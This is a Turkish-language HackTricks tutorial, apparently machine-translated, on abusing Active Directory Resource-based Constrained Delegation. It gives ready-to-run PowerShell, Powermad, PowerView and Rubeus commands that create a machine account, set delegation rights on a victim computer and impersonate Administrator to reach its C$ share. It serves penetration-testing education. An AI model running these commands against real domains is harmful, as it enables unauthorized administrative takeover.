Resource-based Constrained Delegation

AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)

  • [PEASS Ailesi]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'ler]'imiz koleksiyonunu

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks (https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına.

Kaynak Tabanlı Kısıtlanmış Delegasyonun Temelleri

Bu, temel Kısıtlanmış Delegasyon ile benzerdir ancak bir nesneye herhangi bir kullanıcıyı temsil etme izni vermek yerine nesne üzerinde herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcıları belirler.

Bu durumda, kısıtlanmış nesne, herhangi bir kullanıcıyı temsil etme yeteneğine sahip olan kullanıcının adını içeren msDS-AllowedToActOnBehalfOfOtherIdentity adında bir özelliğe sahip olacaktır.

Bu Kısıtlanmış Delegasyon ile diğer delegasyonlar arasındaki önemli farklardan biri, herhangi bir kullanıcının makine hesabı üzerinde yazma izinlerine sahip olması durumunda msDS-AllowedToActOnBehalfOfOtherIdentity özelliğini ayarlayabilmesidir (Diğer Delegasyon biçimlerinde etki alanı yöneticisi ayrıcalıklarına ihtiyaç duyulurdu).

Yeni Kavramlar

Kısıtlanmış Delegasyonda TrustedToAuthForDelegation bayrağının kullanıcının userAccountControl değeri içinde olması gerektiği S4U2Self gerçekleştirmek için gereklidir denilmişti. Ancak bu tamamen doğru değil. Gerçek şu ki, bu değere sahip olmasanız bile, bir hizmet (SPN'ye sahip olan) olarak herhangi bir kullanıcıya karşı S4U2Self gerçekleştirebilirsiniz ancak, TrustedToAuthForDelegation'a sahipseniz dönen TGS Forwardable olacaktır ve bu bayrağa sahip değilseniz dönen TGS Forwardable olmayacaktır.

Ancak, S4U2Proxy içinde kullanılan TGS Forwardable değilse, temel Kısıtlanmış Delegasyonu kötüye kullanmaya çalışmak işe yaramaz. Ancak Kaynak Tabanlı kısıtlanmış delegasyonu sömürmeye çalışıyorsanız, işe yarayacaktır (bu bir zayıflık değil, görünüşe göre bir özelliktir).

Saldırı yapısı

Eğer bir Bilgisayar hesabı üzerinde yazma eşdeğer ayrıcalıklarınız varsa, o makinede özel erişim elde edebilirsiniz.

Saldırganın zaten kurban bilgisayar üzerinde yazma eşdeğer ayrıcalıkları olduğunu varsayalım.

  1. Saldırgan, bir SPN'ye sahip bir hesabı ele geçirir veya bir tane oluşturur ("Hizmet A"). Herhangi bir Yönetici Kullanıcısı herhangi bir diğer özel ayrıcalığa sahip olmadan 10'a kadar Bilgisayar nesnesi oluşturabilir ve bunlara bir SPN atayabilir. Bu nedenle saldırgan sadece bir Bilgisayar nesnesi oluşturabilir ve bir SPN atayabilir.

  2. Saldırgan, kurban bilgisayar üzerindeki YAZMA ayrıcalığını kötüye kullanarak kaynak tabanlı kısıtlanmış delegasyonu yapılandırır ve bu sayede Hizmet A'nın o kurban bilgisayar (Hizmet B) karşısında herhangi bir kullanıcıyı temsil etmesine izin verir.

  3. Saldırgan, Rubeus'u kullanarak bir kullanıcının özel erişime sahip olduğu bir kullanıcı için Hizmet A'dan Hizmet B'ye tam bir S4U saldırısı gerçekleştirir (S4U2Self ve S4U2Proxy).

  4. S4U2Self (ele geçirilen/oluşturulan SPN hesabından): Yönetici için bana bir TGS iste (Forwardable değil).

  5. S4U2Proxy: Önceki adımda kullanılan Forwardable olmayan TGS'yi kullanarak Yönetici'den kurban ana bilgisayarına bir TGS iste.

  6. Forwardable olmayan bir TGS kullanıyor olsanız da, kaynak tabanlı kısıtlanmış delegasyonu sömürdüğünüzden işe yarayacaktır.

  7. Saldırgan bilet aktarımı yapabilir ve kullanıcıyı temsil edebilir ve kurban Hizmet B'ye erişim elde edebilir.

Alanın MachineAccountQuota değerini kontrol etmek için şunu kullanabilirsiniz:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Saldırı

Bir Bilgisayar Nesnesi Oluşturma

Etki alanı içinde bir bilgisayar nesnesi oluşturabilirsiniz powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Kısıtlanmış Delegasyon yapılandırma

activedirectory PowerShell modülünü kullanma

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Powerview kullanarak

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Tam bir S4U saldırısı gerçekleştirme

İlk olarak, 123456 şifresiyle yeni Bilgisayar nesnesini oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Bu, hesap için RC4 ve AES karmaşalarını yazdıracaktır. Şimdi, saldırı gerçekleştirilebilir:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Rubeus'un /altservice parametresini kullanarak sadece bir kez sorarak daha fazla bilet oluşturabilirsiniz:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Kullanıcıların "Delegasyon yapılamaz" adında bir özelliği olduğunu unutmayın. Bir kullanıcının bu özelliği True olarak ayarlanmışsa, onun yerine geçemezsiniz. Bu özellik BloodHound içinde görülebilir.

Erişim

Son komut satırı tam S4U saldırısını gerçekleştirecek ve Yönetici'den kurban ana bilgisayarına TGS enjekte edecektir. Bu örnekte, Yönetici için bir TGS istendi, böylece C$'ye erişebileceksiniz:

ls \\victim.domain.local\C$

Farklı hizmet biletlerini kötüye kullanma

Mevcut hizmet biletlerini buradan öğrenin.

Kerberos Hataları

  • KDC_ERR_ETYPE_NOTSUPP: Bu, kerberos'un DES veya RC4'ü kullanmamak için yapılandırıldığı anlamına gelir ve siz sadece RC4 hash'ini sağlıyorsunuz. Rubeus'a en az AES256 hash'ini (veya sadece rc4, aes128 ve aes256 hash'lerini) sağlayın. Örnek: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: Bu, mevcut bilgisayarın saati ile DC'nin saatinin farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir.

  • preauth_failed: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: Bu şunları ifade edebilir:

    • Taklit etmeye çalıştığınız kullanıcının istenilen hizmete erişimi olmayabilir (çünkü taklit edemezsiniz veya yeterli ayrıcalığa sahip değildir)

    • İstenen hizmet mevcut değil (örneğin winrm için bir bilet istiyorsanız ancak winrm çalışmıyorsa)

    • Oluşturulan fakecomputer, zayıf sunucu üzerindeki ayrıcalıklarını kaybetmiş olabilir ve geri vermeniz gerekebilir.

Referanslar

Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edinin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated